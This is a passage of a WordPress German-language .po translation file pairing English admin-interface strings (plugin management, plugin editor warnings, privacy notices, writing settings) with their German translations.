neu hinzugefügte Inhalte." #: wp-admin/revision.php:140 msgid "This screen is used for managing your content revisions." msgstr "Auf diesem Bildschirm werden die Revisionen deiner Inhalte verwaltet." #: wp-admin/revision.php:110 msgid "← Go to editor" msgstr "← Zurück zum Editor" #. translators: %s: Post title. #: wp-admin/revision.php:109 msgid "Compare Revisions of “%s”" msgstr "Vergleiche Revisionen von „%s“" #: wp-admin/privacy.php:69 msgid "https://wordpress.org/about/privacy/" msgstr "https://wordpress.org/about/privacy/" #. translators: %s: https://wordpress.org/about/privacy #: wp-admin/privacy.php:68 msgid "We take privacy and transparency very seriously. To learn more about what data we collect, and how we use it, please visit <a href=\"%s\">our Privacy Policy</a>." msgstr "Wir nehmen Datenschutz und Transparenz sehr ernst. Um mehr darüber zu erfahren, welche Daten wir erheben und was wir damit machen, lies bitte <a href=\"%s\">unsere Datenschutzerklärung</a>." #: wp-admin/privacy.php:59 msgid "https://wordpress.org/about/stats/" msgstr "https://de.wordpress.org/about/stats/" #. translators: %s: https://wordpress.org/about/stats #: wp-admin/privacy.php:58 msgid "This data is used to provide general enhancements to WordPress, which includes helping to protect your site by finding and automatically installing new updates. It is also used to calculate statistics, such as those shown on the <a href=\"%s\">WordPress.org stats page</a>." msgstr "Diese Daten werden genutzt, um durchgängig Verbesserungen an WordPress zu ermöglichen, welche auch das Finden und automatische Installieren von neuen Updates beinhalten, um deine Website zu schützen. Auch werden die Daten verwendet, um Statistiken zu erstellen, wie solche, die auf der <a href=\"%s\">Seite mit den Statistiken bei WordPress.org</a> zu sehen sind." #: wp-admin/privacy.php:52 msgid "From time to time, your WordPress site may send data to WordPress.org — including, but not limited to — the version of WordPress you are using, and a list of installed plugins and themes." msgstr "Von Zeit zu Zeit kann deine WordPress-Website Daten an WordPress.org senden – inklusive, aber nicht begrenzt auf die Version von WordPress, die du nutzt und eine Liste der installierten Plugins und Themes." #: wp-admin/privacy-policy-guide.php:86 msgid "Policies" msgstr "Richtlinien" #: wp-admin/privacy-policy-guide.php:70 msgid "It is your responsibility to write a comprehensive privacy policy, to make sure it reflects all national and international legal requirements on privacy, and to keep your policy current and accurate." msgstr "Es ist deine Verantwortung, eine umfassende Datenschutzerklärung zu schreiben, die alle nationalen und internationalen gesetzlichen Vorgaben abdeckt und diese Datenschutzerklärung aktuell und korrekt zu halten." #: wp-admin/privacy-policy-guide.php:69 msgid "Please edit your privacy policy content, making sure to delete the summaries, and adding any information from your theme and plugins. Once you publish your policy page, remember to add it to your navigation menu." msgstr "Bitte bearbeite den Inhalt deiner Datenschutzerklärung, lösche die Zusammenfassungen und füge Informationen deiner Themes und Plugins hinzu. Sobald du deine Seite zum Datenschutz veröffentlicht hast, füge sie bitte deinem Navigationsmenü hinzu." #: wp-admin/privacy-policy-guide.php:68 msgid "We have suggested the sections you will need. Under each section heading you will find a short summary of what information you should provide, which will help you to get started. Some sections include suggested policy content, others will have to be completed with information from your theme and plugins." msgstr "Wir haben die Abschnitte vorgeschlagen, die du brauchen wirst. Unterhalb jeder Abschnittsüberschrift wirst du eine kurze Zusammenfassung der Informationen finden, die du angeben solltest. Dies wird dir den Start erleichtern. Einige Abschnitte enthalten vorgeschlagene Inhalte zum Datenschutz, andere müssen mit Informationen aus deinem Theme und deinen Plugins ergänzt werden." #: wp-admin/privacy-policy-guide.php:67 msgid "This text template will help you to create your web site’s privacy policy." msgstr "Dieser Mustertext kann dir helfen, die Datenschutzerklärung für deine Website zu erstellen." #: wp-admin/privacy-policy-guide.php:66 msgid "Introduction" msgstr "Einführung" #: wp-admin/privacy-policy-guide.php:65 wp-admin/privacy-policy-guide.php:74 msgid "Privacy Policy Guide" msgstr "Leitfaden zur Datenschutzerklärung" #: wp-admin/press-this.php:80 msgid "Press This is not available. Please contact your site administrator." msgstr "Press This ist nicht verfügbar. Bitte kontaktiere den Administrator deiner Website." #: wp-admin/press-this.php:75 wp-admin/press-this.php:81 msgid "Installation Required" msgstr "Installation erforderlich" #. translators: %s: URL to Press This bookmarklet on the main site. #: wp-admin/press-this.php:68 msgid "Press This is not installed. Please install Press This from <a href=\"%s\">the main site</a>." msgstr "Press This ist nicht installiert. Bitte installiere Press This von der <a href=\"%s\">Haupt-Website</a>." #: wp-admin/press-this.php:44 msgid "Activate Press This" msgstr "Press This aktivieren" #: wp-admin/post.php:308 msgid "This item has already been deleted." msgstr "Dieses Element wurde bereits gelöscht." #: wp-admin/post.php:279 msgid "The item you are trying to restore from the Trash no longer exists." msgstr "Das Element, das du aus dem Papierkorb wiederherstellen möchtest, existiert nicht mehr." #. translators: %s: User's display name. #: wp-admin/post.php:257 msgid "You cannot move this item to the Trash. %s is currently editing." msgstr "Dieser Beitrag kann nicht in den Papierkorb verschoben werden, da er momentan von %s bearbeitet wird." #: wp-admin/post.php:242 msgid "The item you are trying to move to the Trash no longer exists." msgstr "Das Element, das du in den Papierkorb verschieben möchtest, existiert nicht mehr." #: wp-admin/post.php:143 msgid "You can’t edit this item because it is in the Trash. Please restore it and try again." msgstr "Du kannst dieses Element nicht bearbeiten, da es im Papierkorb liegt. Stelle es wieder her und versuche es dann erneut." #: wp-admin/post.php:82 msgid "Unable to submit this form, please refresh and try again." msgstr "Dieses Formular kann nicht übertragen werden. Bitte lade es neu und versuche es nochmal." #: wp-admin/post.php:47 msgid "A post type mismatch has been detected." msgstr "Eine Abweichung des Inhaltstyps wurde entdeckt." #: wp-admin/plugins.php:763 msgid "Search Installed Plugins" msgstr "Installierte Plugins durchsuchen" #: wp-admin/plugins.php:714 msgid "Selected plugins will no longer be auto-updated." msgstr "Die ausgewählten Plugins werden nicht mehr automatisch aktualisiert." #: wp-admin/plugins.php:712 msgid "Selected plugins will be auto-updated." msgstr "Die ausgewählten Plugins werden automatisch aktualisiert." #: wp-admin/plugins.php:710 msgid "Plugin will no longer be auto-updated." msgstr "Das Plugin wird nicht mehr automatisch aktualisiert." #: wp-admin/plugins.php:708 msgid "Plugin will be auto-updated." msgstr "Das Plugin wird automatisch aktualisiert." #: wp-admin/plugins.php:706 msgid "Plugin resumed." msgstr "Das Plugin wurde wiederhergestellt." #: wp-admin/plugins.php:704 msgid "All selected plugins are up to date." msgstr "Alle ausgewählten Plugins sind aktuell." #: wp-admin/plugins.php:702 msgid "Selected plugins deactivated." msgstr "Die ausgewählten Plugins wurden deaktiviert." #: wp-admin/plugins.php:700 msgid "Plugin deactivated." msgstr "Plugin deaktiviert." #: wp-admin/plugins.php:698 msgid "Selected plugins activated." msgstr "Die ausgewählten Plugins wurden aktiviert." #: wp-admin/plugins.php:696 msgid "Plugin activated." msgstr "Plugin aktiviert." #: wp-admin/plugins.php:689 msgid "The selected plugins have been deleted." msgstr "Die ausgewählten Plugins wurden gelöscht." #: wp-admin/plugins.php:687 msgid "The selected plugin has been deleted." msgstr "Das ausgewählte Plugin wurde gelöscht." #. translators: %s: Error message. #: wp-admin/plugins.php:676 msgid "Plugin could not be deleted due to an error: %s" msgstr "Das Plugin konnte aufgrund eines Fehlers nicht gelöscht werden: %s" #: wp-admin/plugins.php:637 msgid "Plugin could not be activated because it triggered a <strong>fatal error</strong>." msgstr "Das Plugin kann nicht aktiviert werden, da es einen <strong>fatalen Fehler</strong> erzeugt." #: wp-admin/plugins.php:635 msgid "Plugin could not be resumed because it triggered a <strong>fatal error</strong>." msgstr "Das Plugin konnte nicht wiederhergestellt werden, da es einen <strong>fatalen Fehler</strong> ausgelöst hat." #: wp-admin/plugins.php:633 msgid "If you notice “headers already sent” messages, problems with syndication feeds or other issues, try deactivating or removing this plugin." msgstr "Wenn du „headers already sent“-Hinweise, Probleme mit Syndication-Feeds oder andere Probleme bemerkst, versuche, dieses Plugin zu deaktivieren oder zu entfernen." #. translators: %d: Number of characters. #: wp-admin/plugins.php:626 msgid "The plugin generated %d character of <strong>unexpected output</strong> during activation." msgid_plural "The plugin generated %d characters of <strong>unexpected output</strong> during activation." msgstr[0] "Das Plugin erzeugte %d Zeichen mit <strong>unerwarteter Ausgabe</strong> während der Aktivierung." msgstr[1] "Das Plugin erzeugte %d Zeichen mit <strong>unerwarteter Ausgabe</strong> während der Aktivierung." #. translators: 1: Plugin file, 2: Error message. #: wp-admin/plugins.php:611 msgid "The plugin %1$s has been deactivated due to an error: %2$s" msgstr "Das Plugin %1$s wurde aufgrund eines Fehlers deaktiviert: %2$s" #: wp-admin/plugins.php:587 msgid "<a href=\"https://wordpress.org/support/article/managing-plugins/\">Documentation on Managing Plugins</a>" msgstr "<a href=\"https://wordpress.org/support/article/managing-plugins/\">Dokumentation zur Verwaltung von Plugins (engl.)</a>" #: wp-admin/plugins.php:582 wp-admin/themes.php:201 #: wp-admin/update-core.php:965 wp-admin/network/themes.php:318 msgid "<a href=\"https://wordpress.org/support/article/plugins-themes-auto-updates/\">Learn more: Auto-updates documentation</a>" msgstr "Erfahre mehr in der <a href=\"https://wordpress.org/support/article/plugins-themes-auto-updates/\">Dokumentation zu automatischen Aktualisierungen (engl.)</a>" #: wp-admin/plugins.php:578 wp-admin/themes.php:191 #: wp-admin/update-core.php:955 wp-admin/network/themes.php:314 msgid "Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling." msgstr "Bitte beachte: Themes und Plugins von Drittanbietern oder individueller Code überschreiben möglicherweise die Planungen von WordPress." #: wp-admin/plugins.php:577 msgid "Auto-updates are only available for plugins recognized by WordPress.org, or that include a compatible update system." msgstr "Automatische Aktualisierungen sind nur für Plugins verfügbar, die von WordPress.org erkannt werden oder die ein kompatibles Aktualisierungssystem beinhalten." #: wp-admin/plugins.php:576 msgid "Auto-updates can be enabled or disabled for each individual plugin. Plugins with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system." msgstr "Automatische Aktualisierungen können für jedes einzelne Plugin aktiviert oder deaktiviert werden. Plugins mit aktivierten automatischen Aktualisierungen werden das voraussichtliche Datum der nächsten automatischen Aktualisierung anzeigen. Automatische Aktualisierungen hängen vom WP-Cron-Aufgabenplanungssystem ab." #. translators: %s: WP_PLUGIN_DIR constant value. #: wp-admin/plugins.php:562 msgid "If something goes wrong with a plugin and you can’t use WordPress, delete or rename that file in the %s directory and it will be automatically deactivated." msgstr "Wenn etwas mit einem Plugin falsch läuft und du WordPress nicht mehr einwandfrei benutzen kannst, dann benenne das Plugin im Verzeichnis %s um oder lösche es. Dadurch wird es automatisch deaktiviert." #: wp-admin/plugins.php:559 msgid "Most of the time, plugins play nicely with the core of WordPress and with other plugins. Sometimes, though, a plugin’s code will get in the way of another plugin, causing compatibility issues. If your site starts doing strange things, this may be the problem. Try deactivating all your plugins and re-activating them in various combinations until you isolate which one(s) caused the issue." msgstr "" "Die meisten Plugins arbeiten hervorragend mit WordPress und anderen Plugins zusammen. Es kann jedoch passieren, dass ein Plugin Probleme unterschiedlicher Ausprägung verursachen kann. Wenn du sowas beobachtest, solltest du das zuletzt aktivierte Plugin deaktivieren. Manchmal ist es auch ratsam, testweise alle Plugins zu deaktivieren und schrittweise wieder zu reaktivieren und genau zu beobachten, ob die Probleme wieder auftreten.\n" "Falls ein Pluginfehler deine Website so sehr beeinflusst, dass du gar keine Möglichkeit mehr hast, es auf normalem Wege zu deaktivieren, so kannst du es einfach über deinen FTP-Zugang löschen. Deine Plugins liegen im Verzeichnis <code>/wp-content/plugins/</code>." #: wp-admin/plugins.php:557 msgid "Troubleshooting" msgstr "Problembehandlung" #. translators: %s: WordPress Plugin Directory URL. #: wp-admin/plugins.php:549 msgid "If you would like to see more plugins to choose from, click on the “Add New” button and you will be able to browse or search for additional plugins from the <a href=\"%s\">WordPress Plugin Directory</a>. Plugins in the WordPress Plugin Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they’re free!" msgstr "Falls du weitere Plugins installieren möchtest, kannst du auf den Button „Neu Hinzufügen“ klicken, um Plugins im <a href=\"%s\">WordPress-Plugin-Verzeichnis</a> zu suchen. Alle Plugins wurden von Dritten designt und entwickelt und sind kompatibel, mit der von WordPress genutzten Lizenz (GPL). Ach ja, und sie sind auch noch kostenlos!" #: wp-admin/plugins.php:546 msgid "The search for installed plugins will search for terms in their name, description, or author." msgstr "Die Suche nach installierten Plugins sucht nach Begriffen in deren Namen, in der Beschreibung oder sucht nach Autor." #: wp-admin/plugins.php:545 msgid "Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here." msgstr "Plugins vergrößern und erweitern den Funktionsumfang von WordPress. Sobald ein Plugin installiert ist, kannst du es auf dieser Seite aktivieren oder auch wieder deaktivieren." #: wp-admin/plugins.php:453 msgid "Please connect to your network admin to manage plugins automatic updates." msgstr "Bitte begib dich zu deiner Netzwerkadministration, um automatische Plugin-Aktualisierungen zu verwalten." #: wp-admin/plugins.php:449 msgid "Sorry, you are not allowed to manage plugins automatic updates." msgstr "Du bist leider nicht berechtigt, automatische Aktualisierungen für Plugins zu verwalten." #: wp-admin/plugins.php:431 msgid "Sorry, you are not allowed to resume this plugin." msgstr "Du bist leider nicht berechtigt, das Plugin wiederherzustellen." #: wp-admin/plugins.php:400 msgid "No, return me to the plugin list" msgstr "Nein. Zurück zur Pluginliste" #: wp-admin/plugins.php:392 msgid "Yes, delete these files" msgstr "Ja, diese Dateien löschen" #: wp-admin/plugins.php:392 msgid "Yes, delete these files and data" msgstr "Ja, lösche diese Dateien und Daten" #: wp-admin/plugins.php:376 msgid "Are you sure you want to delete these files?" msgstr "Bist du sicher, dass du diese Dateien löschen möchtest?" #: wp-admin/plugins.php:374 msgid "Are you sure you want to delete these files and data?" msgstr "Bist du sicher, dass du diese Dateien und Daten löschen möchtest?" #. translators: 1: Plugin name, 2: Plugin author. #: wp-admin/plugins.php:364 msgctxt "plugin" msgid "%1$s by %2$s" msgstr "%1$s von %2$s" #. translators: 1: Plugin name, 2: Plugin author. #: wp-admin/plugins.php:360 msgid "%1$s by %2$s (will also <strong>delete its data</strong>)" msgstr "%1$s von %2$s (es werden auch <strong>alle zugehörigen Daten gelöscht</strong>)" #: wp-admin/plugins.php:350 msgid "You are about to remove the following plugins:" msgstr "Du bist dabei, folgende Plugins zu entfernen:" #: wp-admin/plugins.php:348 msgid "These plugins may be active on other sites in the network." msgstr "Diese Plugins könnten auf anderen Websites innerhalb des Netzwerks aktiv sein." #: wp-admin/plugins.php:346 msgid "Delete Plugins" msgstr "Plugins löschen" #: wp-admin/plugins.php:344 msgid "You are about to remove the following plugin:" msgstr "Du bist dabei, das folgende Plugin zu entfernen:" #: wp-admin/plugins.php:342 msgid "This plugin may be active on other sites in the network." msgstr "Dieses Plugin könnte noch auf anderen Websites dieses Netzwerks aktiv sein." #: wp-admin/plugins.php:340 msgid "Delete Plugin" msgstr "Plugin löschen" #: wp-admin/plugins.php:225 msgid "Sorry, you are not allowed to deactivate plugins for this site." msgstr "Du bist leider nicht berechtigt, Plugins dieser Website zu deaktivieren." #: wp-admin/plugins.php:156 wp-admin/update-core.php:449 #: wp-admin/update-core.php:578 wp-admin/update-core.php:1103 #: wp-admin/update-core.php:1108 msgid "Update Plugins" msgstr "Plugins aktualisieren" #: wp-admin/plugins.php:92 msgid "Sorry, you are not allowed to activate plugins for this site." msgstr "Du bist leider nicht berechtigt, Plugins dieser Website zu aktivieren." #: wp-admin/plugin-install.php:139 msgid "Browse Plugins" msgstr "Plugins durchstöbern" #: wp-admin/plugin-install.php:117 wp-admin/plugins.php:596 msgid "Plugins list" msgstr "Pluginliste" #: wp-admin/plugin-install.php:116 wp-admin/plugins.php:595 msgid "Plugins list navigation" msgstr "Navigation der Pluginliste" #: wp-admin/plugin-install.php:115 wp-admin/plugins.php:594 msgid "Filter plugins list" msgstr "Plugin-Liste filtern" #: wp-admin/plugin-install.php:109 msgid "<a href=\"https://wordpress.org/support/article/plugins-add-new-screen/\">Documentation on Installing Plugins</a>" msgstr "<a href=\"https://wordpress.org/support/article/plugins-add-new-screen/\">Dokumentation zur Installation von Plugins (engl.)</a>" #: wp-admin/plugin-install.php:103 msgid "If you want to install a plugin that you’ve downloaded elsewhere, click the Upload Plugin button above the plugins list. You will be prompted to upload the .zip package, and once uploaded, you can activate the new plugin." msgstr "Möchtest du ein Plugin installieren, das du irgendwo heruntergeladen hast, klicke bitte auf den Button „Plugin hochladen“ über der Plugin-Liste. Wähle im Dateidialog dann die passende .zip-Datei aus. Sobald diese hochgeladen wurde, kannst du das neue Plugin aktivieren." #: wp-admin/plugin-install.php:102 msgid "You can also browse a user’s favorite plugins, by using the Favorites link above the plugins list and entering their WordPress.org username." msgstr "Du kannst auch nach Plugins, die WordPress.org-Benutzer favorisiert haben, suchen. Klicke dazu auf den Link „Favoriten“ oberhalb der Plugin-Liste und gib einen WordPress.org-Benutzernamen ein, dessen Favoriten du gerne anzeigen möchtest." #: wp-admin/plugin-install.php:101 msgid "If you just want to get an idea of what’s available, you can browse Featured and Popular plugins by using the links above the plugins list. These sections rotate regularly." msgstr "Wenn du eine Vorstellung davon bekommen möchtest, welche Plugins verfügbar sind, kannst du mit den Links am oberen linken Bildschirmrand eine Auswahl an vorgestellten und populären Plugins durchstöbern. Diese Abschnitte werden regelmäßig neu bestückt." #: wp-admin/plugin-install.php:100 msgid "If you know what you’re looking for, Search is your best bet. The Search screen has options to search the WordPress Plugin Directory for a particular Term, Author, or Tag. You can also search the directory by selecting popular tags. Tags in larger type mean more plugins have been labeled with that tag." msgstr "Falls du weißt, wonach duch suchen möchtest, ist die Suchen-Funktion die beste Wahl. Damit kannst du im offiziellen Plugin-Verzeichnis von WordPress.org nach bestimmten Begriffen, Autoren oder (englischen) Schlagwörtern suchen. Du kannst dich auch von der Liste populärer Schlagwörter inspirieren lassen. Die Schlagwörter erscheinen umso größer, je häufiger diese vergeben wurden." #: wp-admin/plugin-install.php:98 msgid "Adding Plugins" msgstr "Plugins hinzufügen" #: wp-admin/plugin-install.php:91 msgid "You can find new plugins to install by searching or browsing the directory right here in your own Plugins section." msgstr "Du findest neue Plugins zur Installation über eine Suche oder Durchblättern des Verzeichnisses gleich hier in deinem eigenen Plugin-Bereich." #. translators: %s: https://wordpress.org/plugins #: wp-admin/plugin-install.php:88 msgid "Plugins hook into WordPress to extend its functionality with custom features. Plugins are developed independently from the core WordPress application by thousands of developers all over the world. All plugins in the official <a href=\"%s\">WordPress Plugin Directory</a> are compatible with the license WordPress uses." msgstr "Plugins klinken sich in WordPress ein, um die Funktionalität von WordPress um individuelle Funktionen zu erweitern. Plugins werden unabhängig vom WordPress-Core von tausenden Personen auf der ganzen Welt entwickelt. Alle Plugins im offiziellen <a href=\"%s\">WordPress-Plugin-Verzeichnis</a> sind mit der von WordPress genutzten Lizenz (GPL) kompatibel." #: wp-admin/plugin-install.php:50 msgid "Add Plugins" msgstr "Plugins hinzufügen" #: wp-admin/plugin-editor.php:331 wp-admin/theme-editor.php:377 msgid "I understand" msgstr "Verstanden" #: wp-admin/plugin-editor.php:327 msgid "If you absolutely have to make direct edits to this plugin, use a file manager to create a copy with a new name and hang on to the original. That way, you can re-enable a functional version if something goes wrong." msgstr "Falls du dieses Plugin tatsächlich direkt ändern musst, empfehlen wir dir mittels Dateimanager eine Kopie mit neuem Namen zu erstellen und das Original zu behalten. So hast du die Möglichkeit, eine funktionierende Version wiederherzustellen, falls etwas schief geht." #: wp-admin/plugin-editor.php:326 msgid "You appear to be making direct edits to your plugin in the WordPress dashboard. We recommend that you don’t! Editing plugins directly may introduce incompatibilities that break your site and your changes may be lost in future updates." msgstr "Du bist scheinbar gerade dabei, direkte Änderungen an deinem Plugin im WordPress-Dashboard vorzunehmen. Wir empfehlen dir, das nicht zu tun! Direkte Änderungen an Plugins können Inkompatibilitäten verursachen, die dazu führen, dass deine Website nicht mehr funktioniert und deine Änderungen könnten bei zukünftigen Updates verloren gehen." #: wp-admin/plugin-editor.php:325 wp-admin/theme-editor.php:356 msgid "Heads up!" msgstr "Achtung!" #: wp-admin/plugin-editor.php:287 wp-admin/theme-editor.php:314 msgid "Update File" msgstr "Datei aktualisieren" #: wp-admin/plugin-editor.php:282 msgid "<strong>Warning:</strong> Making changes to active plugins is not recommended." msgstr "<strong>Warnung:</strong> Das Ändern aktiver Plugins wird nicht empfohlen." #: wp-admin/plugin-editor.php:274 wp-admin/theme-editor.php:295 msgid "Look Up" msgstr "Nachschlagen" #: wp-admin/plugin-editor.php:272 wp-admin/theme-editor.php:293 msgid "Documentation:" msgstr "Dokumentation:" #: wp-admin/plugin-editor.php:263 wp-admin/theme-editor.php:284 msgid "Selected file content:" msgstr "Inhalt der ausgewählten Datei:" #: wp-admin/plugin-editor.php:242 msgid "Plugin Files" msgstr "Plugin-Dateien" #: wp-admin/plugin-editor.php:219 msgid "Select plugin to edit:" msgstr "Zu bearbeitendes Plugin wählen:" #. translators: %s: Plugin file name. #: wp-admin/plugin-editor.php:211 msgid "Browsing %s (inactive)" msgstr "Durchstöbere %s (inaktiv)" #. translators: %s: Plugin file name. #: wp-admin/plugin-editor.php:208 msgid "Editing %s (inactive)" msgstr "Bearbeite %s (inaktiv)" #. translators: %s: Plugin file name. #: wp-admin/plugin-editor.php:203 msgid "Browsing %s (active)" msgstr "Durchstöbere %s (aktiv)" #. translators: %s: Plugin file name. #: wp-admin/plugin-editor.php:200 msgid "Editing %s (active)" msgstr "Bearbeite %s (aktiv)" #: wp-admin/plugin-editor.php:188 wp-admin/theme-editor.php:193 msgid "There was an error while trying to update the file. You may need to fix something and try updating again." msgstr "Bei der Aktualisierung der Datei trat ein Fehler auf. Du musst vermutlich etwas beheben und es erneut versuchen." #: wp-admin/plugin-editor.php:169 wp-admin/theme-editor.php:167 msgid "Function Name…" msgstr "Funktionsname …" #: wp-admin/plugin-editor.php:143 msgid "<a href=\"https://developer.wordpress.org/plugins/\">Documentation on Writing Plugins</a>" msgstr "<a href=\"https://developer.wordpress.org/plugins/\">Dokumentation über das Schreiben von Plugins (engl.)</a>" #: wp-admin/plugin-editor.php:142 msgid "<a href=\"https://wordpress.org/support/article/plugins-editor-screen/\">Documentation on Editing Plugins</a>" msgstr "<a href=\"https://wordpress.org/support/article/plugins-editor-screen/\">Dokumentation zur Bearbeitung von Plugins (engl.)</a>" #: wp-admin/plugin-editor.php:136 wp-admin/theme-editor.php:45 msgid "Any edits to files from this screen will be reflected on all sites in the network." msgstr "Jegliche Änderungen an Dateien über diese Bearbeitungsfunktion betreffen alle Websites im Netzwerk." #: wp-admin/plugin-editor.php:135 msgid "If you want to make changes but don’t want them to be overwritten when the plugin is updated, you may be ready to think about writing your own plugin. For information on how to edit plugins, write your own from scratch, or just better understand their anatomy, check out the links below." msgstr "" "Falls du nicht willst, dass gemachte Änderungen bei einer Plugin-Aktualisierung überschrieben werden, so solltest du darüber nachdenken, ein eigenes Plugin zu schreiben. \n" "Unter <em>Weitere Informationen</em> findest du Links, die den Aufbau und die Funktionsweise von WordPress-Plugins erklären." #: wp-admin/plugin-editor.php:128 msgid "The Documentation menu below the editor lists the PHP functions recognized in the plugin file. Clicking Look Up takes you to a web page about that particular function." msgstr "Das unterhalb des Editors befindliche Menü „Dokumentation“ enthält eine Auflistung aller in der Plugin-Datei erkannten PHP-Funktionen. Mit einem Klick auf „Nachschlagen“ gelangst du zu einer Seite mit weitergehenden Informationen zu der jeweils ausgewählten Funktion. " #: wp-admin/plugin-editor.php:127 msgid "Choose a plugin to edit from the dropdown menu and click the Select button. Click once on any file name to load it in the editor, and make your changes. Don’t forget to save your changes (Update File) when you’re finished." msgstr "Wähle zuerst im Drop-down-Menü das zu bearbeitende Plugin und klicke dann auf „Auswählen“. Anschließend werden auf der rechten Seite alle zum Plugin zugehörigen Dateien angezeigt, die du mit einem Klick auf den jeweiligen Dateinamen bearbeiten kannst. Vergiss nicht, zum Schluss die Änderungen mit einem Klick auf den Button „Datei aktualisieren“ zu speichern." #: wp-admin/plugin-editor.php:126 msgid "You can use the plugin editor to make changes to any of your plugins’ individual PHP files. Be aware that if you make changes, plugins updates will overwrite your customizations." msgstr "Du kannst den Plugin-Editor benutzen, um eigene Änderungen in ein Plugin einzubringen. Beachte aber, dass gemachte Änderungen verloren gehen, wenn du ein Plugin aktualisierst. " #: wp-admin/plugin-editor.php:21 msgid "Edit Plugins" msgstr "Plugins bearbeiten" #: wp-admin/options.php:351 msgid "This page allows direct access to your site settings. You can break things here. Please be cautious!" msgstr "Diese Seite ermöglicht den direkten Zugriff auf deine Website-Einstellungen. Du kannst hier Dinge zerstören. Bitte sei vorsichtig!" #: wp-admin/options.php:348 msgid "All Settings" msgstr "Einstellungen" #. translators: %s: The option/setting. #: wp-admin/options.php:299 msgid "The %s setting is unregistered. Unregistered settings are deprecated. See https://developer.wordpress.org/plugins/settings/settings-api/" msgstr "Die Einstellung %s ist nicht registriert. Nicht registrierte Einstellungen sind veraltet. Siehe https://developer.wordpress.org/plugins/settings/settings-api/" #: wp-admin/options.php:248 msgid "Sorry, you are not allowed to modify unregistered settings for this site." msgstr "Du bist leider nicht berechtigt, nicht registrierte Einstellungen dieser Website anzupassen." #. translators: %s: The options page name. #: wp-admin/options.php:240 msgid "<strong>Error</strong>: Options page %s not found in the allowed options list." msgstr "<strong>Fehler</strong>: Die Optionen-Seite %s wurde nicht in der Liste der erlaubten Optionen gefunden." #. translators: 1: Documentation URL, 2: URL to Reading Settings screen. #: wp-admin/options-writing.php:223 msgid "WordPress is not notifying any <a href=\"%1$s\">Update Services</a> because of your site’s <a href=\"%2$s\">visibility settings</a>." msgstr "WordPress benachrichtigt derzeit keine <a href=\"%1$s\">Update-Dienste</a> aufgrund deiner Website-Einstellungen zur <a href=\"%2$s\">Sichtbarkeit für Suchmaschinen</a>." #: wp-admin/options-writing.php:210 wp-admin/options-writing.php:224 msgid "https://wordpress.org/support/article/update-services/" msgstr "https://wordpress.org/support/article/update-services/" #. translators: %s: Documentation URL. #: wp-admin/options-writing.php:209 msgid "When you publish a new post, WordPress automatically notifies the following site update services. For more about this, see <a href=\"%s\">Update Services</a> on the Codex. Separate multiple service URLs with line breaks." msgstr "Wenn du einen Beitrag veröffentlichst, informiert WordPress die folgenden Dienste automatisch darüber. Um mehr darüber zu erfahren, besuche bitte die Seite <a href=\"%s\">Update-Services</a> im Codex. Trenne mehrere URLs jeweils durch einen Zeilenumbruch." #: wp-admin/options-writing.php:172 msgid "Default Mail Category" msgstr "Standard-Kategorie für Beiträge per E-Mail" #: wp-admin/options-writing.php:162 msgid "Login Name" msgstr "Anmeldename" #: wp-admin/options-writing.php:157 msgid "Port" msgstr "Port" #: wp-admin/options-writing.php:155 msgid "Mail Server" msgstr "E-Mail-Server" #. translators: 1, 2, 3: Examples of random email addresses. #: wp-admin/options-writing.php:145 msgid "To post to WordPress by email, you must set up a secret email account with POP3 access. Any mail received at this address will be posted, so it’s a good idea to keep this address very secret. Here are three random strings you could use: %1$s, %2$s, %3$s." msgstr "Um Beiträge in WordPress via E-Mail zu veröffentlichen, musst du ein geheimes E-Mail-Konto mit POP3-Zugang einrichten. Jede E-Mail, die an diese Adresse geschickt wird, wird auf deiner Website veröffentlicht. Halte deshalb diese Adresse strengstens geheim. Hier drei Beispiele zufälliger Zeichenketten, die du verwenden könntest: %1$s, %2$s, %3$s." #: wp-admin/options-writing.php:140 msgid "Post via email" msgstr "Beitrag per E-Mail veröffentlichen" #: wp-admin/options-writing.php:112 msgid "Default Link Category" msgstr "Standard-Linkkategorie" #: wp-admin/options-writing.php:98 msgid "Default Post Format" msgstr "Standard-Beitragsformat" #: wp-admin/options-writing.php:78 msgid "Default Post Category" msgstr "Standard-Beitragskategorie" #: wp-admin/options-writing.php:73 msgid "WordPress should correct invalidly nested XHTML automatically" msgstr "WordPress soll falsch verschachteltes XHTML automatisch korrigieren." #: wp-admin/options-writing.php:72 msgid "Convert emoticons like <code>:-)</code> and <code>:-P</code> to graphics on display" msgstr "Emoticons wie <code>:-)</code> und <code>:-P</code> in Grafiken umwandeln." #: wp-admin/options-writing.php:68 wp-admin/options-writing.php:69 msgid "Formatting" msgstr "Formatierung" #: wp-admin/options-writing.php:52 msgid "<a href=\"https://wordpress.org/support/article/settings-writing-screen/\">Documentation on Writing Settings</a>" msgstr "<a href=\"https://wordpress.org/support/article/settings-writing-screen/\">Dokumentation über die Einstellungen beim Schreiben (engl.)</a>" #: wp-admin/options-writing.php:45 msgid "If desired, WordPress will automatically alert various services of your new posts." msgstr "Wenn gewünscht, kann WordPress diverse Dienste automatisch beim Veröffentlichen neuer Beiträge benachrichtigen." #: wp-admin/options-writing.php:44 wp-admin/options-writing.php:201 msgid "Update Services" msgstr "Update-Services" #: wp-admin/options-writing.php:34 msgid "Post via email settings allow you to send your WordPress installation an email with the content of your post. You must set up a secret email account with POP3 access to use this, and any mail received at this address will be posted, so it’s a good idea to keep this address very secret." msgstr "Die Einstellungen zu „per E-Mail veröffentlichen“ geben dir die Möglichkeit, deine Inhalte per E-Mail zu veröffentlichen. Dazu brauchst du ein geheimes E-Mail-Konto mit POP3-Zugriff. Jede E-Mail, die dort im Postfach landet, wird hier auf deiner Website veröffentlicht. Es empfiehlt sich, diese E-Mail-Adresse geheim zu halten und in diesem Postfach keine persönlichen Daten zu speichern." #: wp-admin/options-writing.php:33 msgid "Post Via Email" msgstr "Beiträge per E-Mail veröffentlichen" #: wp-admin/options-writing.php:23 msgid "You can submit content in several different ways; this screen holds the settings for all of them. The top section controls the editor within the dashboard, while the rest control external publishing methods. For more information on any of these methods, use the documentation links." msgstr "Es gibt verschiedene Wege, neue Inhalte zu veröffentlichen. In dieser Einstellungsseite sind alle entsprechenden Optionen aufgeführt. Der erste Teil dieser Seite behandelt den Beitragseditor und Funktionen drumherum. Der zweite Teil andere Methoden, wie zum Beispiel das Schreiben neuer Texte mit externen Programmen. Mehr Informationen findest du in den weiterführenden Dokumentations-Links." 